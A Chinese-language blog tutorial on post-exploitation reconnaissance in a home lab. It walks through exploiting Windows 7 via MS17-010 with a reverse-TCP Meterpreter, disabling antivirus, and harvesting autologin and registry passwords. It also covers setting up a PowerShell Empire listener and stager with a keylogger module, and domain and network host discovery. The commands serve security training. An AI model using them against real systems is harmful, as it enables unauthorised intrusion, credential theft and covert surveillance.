用途限制声明
本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
那么进入渗透环境,在我的一篇文章中,我已经分享了关于内网搭建的文章,有兴趣的可以看看。
使用工具VM,Windows server 2019,windwos 7,kali linux,那么此次渗透过程之旅正式开始
在网络攻击的后渗透阶段(即获取目标系统初始访问权限后),信息收集的核心目标是进一步掌握目标系统、网络环境、用户权限、敏感数据等关键信息,为权限提升、横向移动、数据窃取等后续操作奠定基础。
通过Windows 7来渗透进内网,那么可以通过msfconsole来getshell,首先利用nmap扫一波
命令:nmap --script=vuln 192.168.237.141
这里可以使用永恒之蓝来进行渗透
命令:search ms17_010
命令:use 0
set rhost 192.168.237.141
设置payloads
命令:show payloads
这里我们使用31payload,进行反向连接
命令:set payload payload/windows/x64/meterpreter/reverse_tcp
在设置目标,这里使用1
命令:set target 1
然后直接exploit,获取shell
ok,成功getshell。
那么接下来第二步就是迁移进程,因为该shell是极其脆弱和易受攻击的,那么通过移动该shell,将它和其他进程绑定在一起,利用命令getpid获得进程号
命令:getpid
然后再利用ps获得目标机正在运行的程序
然后将其迁移到一个稳定的进程将其绑定在一起
命令:migrate 进程号
出现success说明绑定成功,有些是可以绑定,有些是无法绑定的,看情况而定。
接下来第三步,就是获取系统信息
一、通过msfconsole进行信息收集
1)使用sysinfo查看目标机的系统信息
命令:sysinfo
2)使用post/windows/gather/checkvm命令查看目标机是否在虚拟机上
命令:run post/windows/gather/checkvm
3)使用idletimec查看目标机最近运行时间,如图目标机运行5分钟
4)使用route命令查看目标机完整的网络设置
5)还可以使用命令background将其当前会话放到后台,这里就不再演示,主要是使用getuid获取当前目标机已经渗透成功的用户名
6)使用post/windwos/manage/killav来关闭目标机的系统杀毒软件
命令:run post/windwos/manage/killav
7)使用post/windows/manage/enable_rdp来启动目标机的远程桌面协议
命令:run post/windows/manage/enable_rdp
8)先使用post/windows/manage/autoroute查看本地子网情况,然后使用route add ip地址来添加路由,使用route print来查看,添加成功后可以借助被攻陷主机对其他网络进行攻击 (这里就不进行演示了)
9)使用命令post/windows/gather/enum_logged_on_users来查看有多少用户登录目标机
命令:run post/windows/gather/enum_logged_on_users
可以看到有三个用户,目前是jie123用户登录
10)使用post/windwos/gather/enum_applications列举目标机上的应用程序
命令:run post/windwos/gather/enum_applications
11)如果用户是设置了计算机自动登录,那么可以通过以下命令抓取自动登录的用户名和密码
命令:run windows/gather/credentials/windows_autologin
设置了是能够抓取的,我这里没有设置
12)接下来介绍几个好玩的命令(不演示)
查看摄像头:webcam_list
打开摄像头,拍照:webcam_snap
开启直播模式:webcam_stream
13)输入shell可以进入目标机shell下面
14)通过文件系统进行信息收集
1、pwd/getwd:查看当前处于目标机哪个目录
2、getlwd:查看当前处于本地的哪个目录
3、ls:列出当前目录的所有文件
4、cd:切换目录
5、search -f *.txt -d c:\:搜索c盘所有以.txt为扩展名的文件
6、download c:\test.txt/root 下载c盘的test文件到root目录
7、upload /root/test.txt c:\: 上传root目录的test文件到c盘下
二、利用shell来进行手动信息收集
首先需要通过shell命令进入目标机的shell下面
1、查询网络配置信息
ipconfig /all
2、查询操作系统以及软件信息
命令:systeminfo | finder /B /C:"OS 名称" /C:"OS 版本"
3、查看系统体系结构
命令:echo %PROCESSOR_ARCHITECTURE%
在这里我要介绍比较常用的系统命令wmic,powershell
1、WMIC(Windows Management Instrumentation Command-line,Windows 管理规范命令行工具)是 Windows 系统中用于通过命令行界面管理系统组件、查询信息和执行操作的工具。它基于 WMI(Windows 管理规范)技术,允许用户直接通过命令行与系统的硬件、软件、进程、服务等进行交互,无需依赖图形界面。
WMIC 的核心作用
WMIC 的主要功能是简化系统管理任务,支持查询、配置、控制 Windows 系统的各类资源,具体包括:
系统信息查询
快速获取操作系统的基础信息,如版本、安装时间、启动时间等。
- 示例:查询操作系统版本和安装日期
bash
wmic os get Caption, Version, InstallDate
进程管理
查看、结束或创建系统进程,方便监控和控制运行中的程序。
- 示例 1:列出所有进程的名称和 PID
bash
wmic process get Name, ProcessId
- 示例 2:强制结束记事本进程(notepad.exe)
bash
wmic process where Name="notepad.exe" call terminate
服务控制
查询、启动、停止或重启系统服务(如 Windows Update 服务、防火墙服务等)。
- 示例 1:查看所有服务的名称和状态(运行 / 停止)
bash
wmic service get Name, State
- 示例 2:启动 Windows Update 服务(wuauserv)
bash
wmic service where Name="wuauserv" call start
硬件信息获取
查询 CPU、内存、磁盘、网卡等硬件的详细参数。
- 示例 1:查看 CPU 型号和核心数
bash
wmic cpu get Name, NumberOfCores
- 示例 2:查看物理内存容量和速度
bash
wmic memorychip get Capacity, Speed
- 示例 3:查看磁盘驱动器型号和大小
bash
wmic diskdrive get Model, Size
软件管理
查询已安装的程序信息,甚至卸载软件(需注意:部分程序可能不支持此方式卸载)。
- 示例 1:列出已安装程序的名称和版本
bash
wmic product get Name, Version
- 示例 2:卸载指定程序(需替换 “程序名” 为实际名称)
bash
wmic product where Name="程序名" call uninstall
自动化脚本支持
可嵌入批处理(.bat)或脚本中,实现批量管理任务(如批量查询多台计算机信息、统一启动服务等),提升管理效率。
2、PowerShell 作为 Windows 系统原生的强大脚本环境,因其深度集成系统接口、支持复杂逻辑与远程操作、可规避部分安全监控等特性,成为后渗透阶段信息收集的核心工具之一。其在信息收集中的具体作用可归纳为以下几个方面:
本地系统基础信息收集
快速获取目标主机的底层信息,为后续利用(如漏洞利用、权限提升)提供依据:
- 操作系统信息:通过调用
WMI/CIM
接口获取系统版本、补丁编号(判断是否存在未修复漏洞)、安装时间、启动时间等。
示例:powershell
Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, HotFixID, InstallDate
- 硬件配置:收集 CPU、内存、磁盘分区、网卡等信息,判断系统性能或是否存在特殊硬件(如加密卡)。
示例:powershell
Get-CimInstance Win32_Processor | Select-Object Name, NumberOfCores # CPU信息 Get-PSDrive | Where-Object { $_.Provider -match "FileSystem" } # 磁盘分区
网络环境探测
绘制目标网络拓扑,寻找横向移动的潜在目标(如其他主机、共享资源、域控制器):
- 网络配置:获取本地 IP、子网掩码、网关、DNS 服务器等,判断是否在域环境、是否有内网网段。
示例:powershell
Get-NetIPAddress | Where-Object { $_.AddressFamily -eq 'IPv4' } # IPv4地址 Get-DnsClientServerAddress | Select-Object ServerAddresses # DNS服务器
- 开放端口与连接:查看本地监听端口、活跃网络连接(包括远程 IP 和进程),发现潜在服务或通信目标。
示例:powershell
Get-NetTCPConnection | Where-Object { $_.State -eq 'Listen' } # 监听端口 Get-NetTCPConnection | Where-Object { $_.RemoteAddress -notlike '127.0.0.1' } # 外部连接
- 网络共享资源:枚举本地或域内的共享文件夹(如
C$
、ADMIN$
),寻找可访问的敏感文件或横向入口。
示例:powershell
Get-SmbShare # 本地共享 Get-WmiObject -Class Win32_Share -ComputerName "远程主机名" # 远程共享(需权限)
用户与权限信息收集
明确当前权限范围,寻找权限提升路径(如滥用高权限用户、漏洞利用):
- 本地用户与组:获取所有本地用户、管理员组成员,判断是否有弱密码用户或高权限账号。
示例:powershell
Get-LocalUser | Select-Object Name, Enabled # 本地用户 Get-LocalGroupMember -Group "Administrators" # 管理员组成员
- 当前用户权限:检查当前会话的权限(如是否为管理员、是否有
SeDebugPrivilege
等特权),判断是否可直接执行敏感操作(如读取 SAM 文件)。
示例:powershell
[Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent() | Select-Object -ExpandProperty IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
- 域环境信息(若目标在域内):获取域控制器、域用户、域组等,为域内横向移动做准备。
示例(需加载 Active Directory 模块):powershell
Get-ADDomainController # 域控制器 Get-ADUser -Filter * -Properties * # 域用户(需权限) Get-ADGroupMember -Identity "Domain Admins" # 域管理员组成员
进程与安全软件监控
识别目标系统的防御机制(如杀软、EDR)和关键进程,规避监控或寻找利用点:
- 进程枚举:列出所有运行的进程,重点关注安全软件(如
msmpeng.exe
为 Windows Defender)、终端检测响应(EDR)进程,判断防御强度。
示例:powershell
Get-Process | Select-Object Name, Id, Path # 进程名、ID、路径
- 服务状态:查看系统服务(尤其是自动启动的服务),寻找配置不当的服务(如可修改的服务路径),作为权限提升的跳板。
示例:powershell
Get-Service | Where-Object { $_.StartType -eq 'Automatic' } # 自动启动服务 Get-WmiObject Win32_Service | Where-Object { $_.StartName -eq 'LocalSystem' } # 高权限服务
敏感数据与配置挖掘
寻找系统中存储的敏感信息(如密码、密钥、配置文件),直接获取核心数据或用于进一步认证:
- 注册表敏感信息:注册表中常保存软件密码(如 VPN 配置、数据库连接串)、自动登录凭证(如
HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
)等。
示例:powershell
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' | Select-Object DefaultUserName, DefaultPassword
- 敏感文件读取:读取配置文件(如
web.config
、ssh_config
)、日志文件(如 IIS 日志)、未加密的凭证文件(如*.txt
、*.csv
中的密码)。
示例:powershell
Get-Content "C:\Users\Public\sensitive.txt" # 读取文件内容 Get-ChildItem -Path "C:\" -Recurse -Filter "*.txt" -ErrorAction SilentlyContinue # 递归搜索文件
远程信息批量收集
借助 PowerShell 的远程管理能力(如 WinRM),对域内其他主机进行批量信息探测,实现横向信息收集:
- 通过
Invoke-Command
远程执行命令,收集多台主机的统一信息(如是否安装某补丁、是否有共享资源)。
示例:powershell
Invoke-Command -ComputerName "PC01", "PC02" -ScriptBlock { Get-CimInstance Win32_OperatingSystem | Select-Object Caption }
- 利用
PSRemoting
(基于 WinRM)建立持久化远程会话,持续监控目标网络的变化。
隐蔽性与规避检测
PowerShell 的脚本特性使其可通过编码(如 Base64)、混淆(如变量替换、字符串拼接)绕过安全软件的静态检测,同时其操作多基于系统原生接口(如 WMI、CIM),不易被识别为恶意行为。
4、查看安装的软件以及版本、路径等,这里利用wmic命令,将结果输出到文本文件上
命令:wmic product get name,version
5、查询本机服务信息
命令:wmic service list brief
6、查询进程列表
命令:tasklist
查看进程信息
命令:wmic process list brief
7、查看启动程序信息
命令:wmic startup get command,caption
8、查询用户列表
命令:net user
获取本地管理员(通常包含域用户)信息
命令:net localgroup adminstrators
9、查询当前在线用户
命令:query user || qwinsta
10、查询端口列表
命令:netstat -ano
11、查看补丁列表
命令:systeminfo
查看补丁有利于我们判断下一步权限提升是否能够通过系统的溢出漏洞来进行权限提升,在这里就不多说。
可以通过wmic来查看安装在系统的补丁
命令:wmic qfe get Caption,Description,HostFixID,InstalledOn
12、查看本机共享列表
命令:net share
可以通过wmic来查找共享列表
命令:wmic share get name,path,status
wmic还拥有许多功能,这里就不多讲了。
三、利用工具来进行自动信息收集
1、使用wmic的一个脚本进行自动化信息收集
脚本链接:http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
2、使用Empire下的主机模块,首先我先介绍一下Empire,操作就不再展示了
Empire 是一个开源的后渗透框架,最初由 BC Security 开发,后被纳入 PowerShell Empire 项目,再演变为现有的 Empire 框架。它的核心特点包括:
- 多平台支持:支持 Windows、Linux 和 macOS 目标系统。
- 模块化设计:提供大量插件(模块),覆盖信息收集、权限提升、横向移动、命令执行等功能。
- 隐蔽性强:利用 PowerShell 和其他系统原生工具,减少被安全软件检测的风险。
- 命令与控制(C2):支持多种通信方式(HTTP、HTTPS、SMB 等),便于远程控制被攻陷的系统。
2. Empire 的主要作用
Empire 的核心用途是在渗透测试的后渗透阶段,帮助攻击者:
- 信息收集:收集目标系统的详细信息(如用户、网络、进程等)。
- 权限提升:利用漏洞或配置错误提升当前权限(如普通用户→管理员)。
- 横向移动:通过已攻陷的系统,攻击同一网络中的其他系统。
- 持久化访问:在目标系统中植入后门,确保长期控制。
- 数据窃取:获取敏感信息(如密码、文件等)。
- 隐蔽通信:建立不易被检测的命令与控制通道。
3. Empire 的基本使用流程
以下是使用 Empire 进行后渗透测试的基本步骤:
步骤 1:安装 Empire
Empire 通常运行在攻击者的控制机(如 Kali Linux)上,安装过程如下:
# 克隆Empire仓库
git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
# 初始化并安装依赖
./setup/install.sh
步骤 2:启动 Empire
./empire
启动后,将进入 Empire 的交互式命令行界面。
步骤 3:创建监听器(Listener)
监听器用于接收被控端(Stager)的连接,支持 HTTP、HTTPS、SMB 等协议。例如,创建一个 HTTP 监听器:
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Host http://你的IP地址:8080
(Empire: listeners/http) > execute
步骤 4:生成被控端(Stager)
生成一个 PowerShell 脚本(或其他格式),用于在目标系统上执行并连接到监听器:
(Empire: listeners) > usestager multi/launcher
(Empire: stager/multi/launcher) > set Listener http # 使用之前创建的监听器
(Empire: stager/multi/launcher) > set OutFile /tmp/stager.ps1
(Empire: stager/multi/launcher) > execute
这将生成一个 PowerShell 脚本stager.ps1
,可通过社会工程学或漏洞利用方式上传到目标系统。
步骤 5:在目标系统执行 Stager
将生成的stager.ps1
脚本上传到目标系统并执行(需管理员权限或用户交互):
powershell -ExecutionPolicy Bypass -File stager.ps1
执行后,目标系统会连接到攻击者的监听器,在 Empire 中显示为一个会话(Session)。
步骤 6:管理会话并执行攻击
通过interact
命令选择会话,然后执行各种模块:
(Empire: listeners) > sessions
[*] Active sessions:
ID Name Language Internal IP Machine Name Username Process PID Delay Last Seen
-- ---- -------- ----------- ------------ -------- ------- --- ----- ---------
1 powershell 192.168.1.100 TARGET-PC WIN10\testuser powershell 4568 5/0.0 2025-07-12 10:30:00
(Empire: listeners) > interact 1
(Empire: session/1) > shell whoami # 执行系统命令
(Empire: session/1) > usemodule collection/keylogger # 加载键盘记录模块
(Empire: module/keylogger) > execute # 执行模块
步骤 7:使用模块进行后渗透攻击
Empire 提供数百个模块,例如:
- 信息收集:
usemodule situational_awareness/network/powerview/get_domain_computers # 获取域内计算机 usemodule situational_awareness/host/windows_gather_patches # 收集补丁信息
- 权限提升:
usemodule privesc/bypassuac_fodhelper # 绕过UAC usemodule privesc/powerup/allchecks # 检查权限提升机会
- 横向移动:
usemodule lateral_movement/invoke_psexec # 通过PsExec横向移动 usemodule lateral_movement/wmi_exec # 通过WMI执行命令
四、进行域内信息收集
前面三个都是通过漏洞或者社工手段而得到getshell,然后就收集shell所在的目标机的信息,而内网渗透的步骤有通过一台服务器去登录其他服务器,也就是横向移动,或者得到域控制器的权限,也就是权限提升,接下来的信息收集就是通过本服务器来收集域内的信息,比如其他域成员的信息,或者域控制器的信息等。
1、查询当前权限
命令:whoami
获取一台主机的权限后,主要有三种情况,
本地普通用户:比如user用户
本地管理员用户:比如administrator
域内用户:如图所示,属于hack域内的用户
1. 本地普通用户(Local Standard User)
- 定义:仅在单台计算机上创建的非管理员用户,由本地系统的 SAM(安全账户管理器)数据库管理,权限受严格限制。
- 权限边界:
只能操作自身用户目录(如C:\Users\用户名
)、使用基础系统功能(如运行已安装软件、浏览网络),但无法修改系统关键配置(如安装软件、修改注册表核心项、管理其他用户、访问系统级日志等)。 - 管理范围:仅对当前单台计算机有效,离开该计算机后账户无效。
- 可收集的信息:
- 自身用户目录数据(如文档、浏览器保存的密码、邮件缓存、配置文件中的敏感信息);
- 本地基础信息(操作系统版本、已安装软件列表、补丁情况、本机 IP/hostname);
- 本地网络信息(ARP 缓存、路由表、开放端口、已连接的网络共享);
- 有限的用户列表(仅能查看部分本地用户,无法获取管理员组详情)。
- 渗透价值:
信息较基础,主要用于 “了解当前主机环境”(如判断是否存在未打补丁的漏洞),或通过自身目录中的敏感数据(如弱密码)尝试提权(如利用 SUID 漏洞、服务配置错误等)。
2. 本地管理员用户(Local Administrator)
- 定义:属于本地 “Administrators” 组的用户,同样由本地 SAM 管理,拥有单台计算机的最高权限。
- 权限边界:
可完全控制当前计算机,包括安装 / 卸载软件、修改系统配置(如防火墙规则、服务启动项)、访问所有用户的文件(包括其他用户目录)、管理本地用户和组、查看系统日志(如安全日志中的登录记录)、修改注册表全量内容等。 - 管理范围:仅限当前单台计算机,与其他计算机(即使在同一网络)无权限关联。
- 可收集的信息:
- 全量本地数据:所有用户的目录(如其他用户的密码文件、私钥)、系统级日志(安全日志中的登录记录、失败尝试,可能包含域用户登录痕迹);
- 系统核心配置:注册表全量内容(如软件密钥、服务账户密码哈希)、本地安全策略(如密码复杂度、登录限制)、服务启动项(可能存在可利用的弱权限服务);
- 凭证信息:可通过工具(如 mimikatz)抓取本地用户的 NTLM 哈希、明文密码(若系统未禁用 WDigest);
- 本地共享与权限:所有共享文件夹的访问权限配置(可能存在可被域内其他主机利用的共享)。
- 渗透价值:
是 “横向移动” 的关键跳板 —— 通过本地管理员权限可获取当前主机的完整控制权,进而利用主机中的域用户凭证(如域用户登录过该主机)尝试访问域内其他计算机,或通过系统漏洞(如 MS17-010)扩大影响范围。
3. 域内用户(Domain User)
- 定义:存在于 “域环境” 中的用户(域是由域控制器 DC 统一管理的多计算机网络),账户信息存储在 DC 的 Active Directory(AD)中,而非单台计算机的 SAM。
- 权限边界:
权限由域控制器的组策略(GPO)和所属域组(如 Domain Users、Domain Admins)决定:- 普通域用户:仅能访问域内授权的资源(如域内共享文件夹、特定计算机的登录权限),无单台计算机的管理员权限;
- 域管理员(Domain Admin):属于 “Domain Admins” 组,拥有整个域的最高权限(可控制所有域内计算机、修改 AD 配置、管理所有域用户等)。
- 管理范围:跨域内所有计算机(只要被授权),账户在域内通用(如在 A 机登录后,可通过权限访问 B 机的共享资源)。
- 可收集的信息:
- 域结构信息:域控制器名称 / IP(通过
nltest /dsgetdc:域名
)、域内计算机列表(net view /domain
)、域用户 / 组列表(net user /domain
、net group /domain
); - 域资源信息:域内共享文件夹(
net share /domain
)、组策略(GPO)配置(可能包含登录脚本、权限分配)、域信任关系(若存在子域 / 林信任); - 域凭证线索:域内用户的密码策略(如有效期、复杂度)、域内主机的服务主体名称(SPN,可用于 Kerberoasting 攻击)。
- 域结构信息:域控制器名称 / IP(通过
- 渗透价值:
是 “域渗透” 的起点 —— 通过域内用户信息可绘制域拓扑(如识别域控制器、高权限用户),寻找域内薄弱点(如弱密码域用户、配置不当的 GPO),进而尝试获取域管理员权限(如通过黄金票据、Pass-the-Hash 等攻击)。
获取域SID
命令:whoami /all
查询指定用户的详细信息
命令:net user xxx /domain
2、判断是否存在域
1、使用ipconfig命令
2、查看系统的详细信息
命令:systeminfo
3、查询当前登录域以及登录用户信息
命令:net config workstation
3、探测域内存活主机
1、利用NetBIOS快速探测内网,现在比较少使用
NetBIOS 主要用于局域网内的资源共享和简单通信,在 Windows 系统中默认启用(尤其老旧系统),常用操作和工具如下:
基础操作命令(Windows cmd/PowerShell)
-
查看本地 NetBIOS 名称:
通过nbtstat -n
命令查看本机注册的 NetBIOS 名称(包括计算机名、工作组名等)。
示例输出中,“00” 类型表示工作站名称,“03” 表示信使服务,“20” 表示文件共享服务。 -
查询局域网内的 NetBIOS 名称与 IP 映射:
nbtstat -A <目标IP>
:通过 IP 查询目标计算机的 NetBIOS 名称(如nbtstat -A 192.168.1.100
)。nbtstat -c
:查看本地 NetBIOS 名称缓存(已解析的名称 - IP 映射)。
-
枚举局域网内的计算机:
net view
:列出当前工作组内的所有计算机(依赖 NetBIOS 名称服务)。net view /domain:<域名>
:若在域环境中,可列出域内的计算机(需域用户权限)。
-
通过 NetBIOS 名称访问共享资源:
在资源管理器中输入\\<NetBIOS名称>\共享名
(如\\DESKTOP-ABC123\SharedDocs
),直接访问目标计算机的共享文件夹(需权限)。
渗透测试中的典型应用
在渗透测试中,NetBIOS 是信息收集的重要目标,通过其暴露的信息可辅助枚举网络拓扑、识别潜在目标:
- 枚举主机名与 IP:通过扫描 UDP 137 端口(NBNS),可批量获取局域网内所有计算机的 NetBIOS 名称和 IP(如用
nbtscan
工具:nbtscan 192.168.1.0/24
)。 - 识别设备角色:NetBIOS 名称中可能包含角色信息(如
DC01
可能是域控制器,FILESERVER
可能是文件服务器)。 - 探测共享资源:通过 NetBIOS 名称结合
net view
或扫描 TCP 139 端口(会话服务),可发现开放的文件共享,进而尝试访问或爆破权限。 - 漏洞利用:部分针对 NetBIOS 的历史漏洞(如永恒之蓝 MS17-010 的传播依赖 SMB,而 SMB 在老系统中常通过 NetBIOS over TCP/IP 实现)可被利用进行横向移动。
2、利用ICMP协议快速探测内网
单系统命令行批量 ping(适合简单场景)
无需额外工具,直接利用操作系统自带的命令行工具(如 Windows 的cmd
、Linux 的bash
)批量发送 ICMP 请求,适合小规模网段(如 / 24,256 个 IP)。
Windows 系统(cmd/PowerShell):
利用for
循环遍历网段 IP,发送 ICMP 请求(默认超时 1 秒,发送 1 次
-
# 探测192.168.1.1-254网段 for /L %i in (1,1,254) do ping -n 1 -w 1000 192.168.1.%i | findstr "TTL="
- 参数说明:
-n 1
表示发送 1 个请求包;-w 1000
表示超时等待 1000 毫秒(1 秒);findstr "TTL="
筛选出有回复的结果(TTL 是存活时间,存在则说明主机在线)。
- 参数说明:
-
Linux/macOS 系统(终端):
利用ping
命令结合bash
循环,效率比 Windows 更高(可并行):bash
# 探测192.168.0.1-254网段,后台并行执行,结果输出到文件 for i in {1..254}; do ping -c 1 -W 1 192.168.0.$i > /dev/null && echo "192.168.0.$i 在线" & done
- 参数说明:
-c 1
发送 1 个包;-W 1
超时 1 秒;&
表示后台运行,实现并行探测(速度远快于 Windows 单线程)。
- 参数说明:
专业工具批量探测(适合大规模网段)
当网段较大(如 / 16,65536 个 IP)时,命令行循环效率不足,需用支持并发的工具,如fping
、nmap
等,可同时发送数百个 ICMP 请求,大幅提升速度。
-
fping(高效批量 ping 工具):
fping
是专门为批量探测设计的工具,支持同时对多个 IP 发送 ICMP 请求,默认并发数较高,适合快速扫描大网段。# 安装(Linux):sudo apt install fping # 探测192.168.1.0/24网段,只显示存活主机 fping -g 192.168.1.0/24 -a -q
- 参数:
-g
指定网段;-a
只显示存活主机;-q
安静模式(不输出额外信息)。
- 参数:
-
nmap(网络扫描神器):
nmap 的-sn
参数(Ping 扫描,不进行端口扫描)默认会发送 ICMP Echo Request,同时结合 ARP 扫描(内网中更高效),适合复杂内网环境。# 探测192.168.5.0/24网段,快速发现存活主机 nmap -sn -PE 192.168.5.0/24 -oG -
- 参数:
-sn
仅探测存活,不扫描端口;-PE
强制使用 ICMP Echo Request;-oG -
输出简洁的存活结果。
- 参数:
自定义脚本(灵活适配场景)
若需更灵活的控制(如按 IP 段分段探测、过滤特定结果),可编写 Python/Shell 脚本,调用系统ping
命令或直接发送 ICMP 包(需权限)。
示例(Python 脚本,使用os
模块调用 ping):
python
import os
import subprocess
def ping_host(ip):
# 发送1个ICMP请求,超时1秒
result = subprocess.run(
["ping", "-c", "1", "-W", "1", ip],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
return result.returncode == 0 # 0表示成功收到回复
# 探测192.168.3.1-254
for i in range(1, 255):
ip = f"192.168.3.{i}"
if ping_host(ip):
print(f"{ip} 存活")
3、通过ARP扫描探测内网
命令行工具(基础批量扫描)
arping
工具(Linux/macOS 自带,需 root 权限):专门发送 ARP 请求的工具,可针对单个 IP 探测,结合循环实现批量扫描。bash
# 探测单个IP:192.168.1.10 sudo arping -c 1 -w 1 192.168.1.10 # -c 1:发送1个请求;-w 1:超时1秒 # 输出若含“reply from”,说明主机存活 # 批量扫描192.168.1.1-254网段(并行执行) for i in {1..254}; do sudo arping -c 1 -w 1 192.168.1.$i | grep "reply" && echo "192.168.1.$i 存活" & done
专业工具(高效批量扫描)
-
arp-scan
(推荐):专为 ARP 扫描设计的工具,支持批量扫描、显示 MAC 厂商信息,功能强大。- 安装(Linux):
sudo apt install arp-scan
- 基本用法:
bash
# 扫描本地网段(自动识别当前网段) sudo arp-scan --localnet # 扫描指定网段(192.168.5.0/24) sudo arp-scan -I eth0 192.168.5.0/24 # -I 指定网卡(如eth0、wlan0)
- 输出示例(含 IP、MAC、厂商):
plaintext
192.168.5.1 00:1a:2b:3c:4d:5e Huawei Technologies Co., Ltd. # 华为设备 192.168.5.10 5c:6b:7d:8e:9f:0a Dell Inc. # 戴尔设备
- 安装(Linux):
-
nmap
(网络扫描神器):nmap 在同一网段内默认优先使用 ARP 扫描(比 ICMP 更高效),通过-PR
参数强制启用。bash
# 对192.168.3.0/24网段执行ARP扫描(仅探测存活,不扫描端口) sudo nmap -sn -PR 192.168.3.0/24 -oG -
- 参数说明:
-sn
:仅探测存活主机;-PR
:强制使用 ARP 扫描;-oG -
:简洁输出存活结果。 - 优势:nmap 会自动处理并发,速度快,且可结合其他扫描参数(如端口扫描)联动使用。
- 参数说明:
4、扫描域内端口
使用nmap进行端口扫描,在metasploit也是存在端口扫描模块,利用这个即可。
ok,信息收集分享到这里,在有些图并不是打码,而是可能msf的问题,或者是其他,用了许多方法没有解决,只能将就着看了,感谢大家理解啊。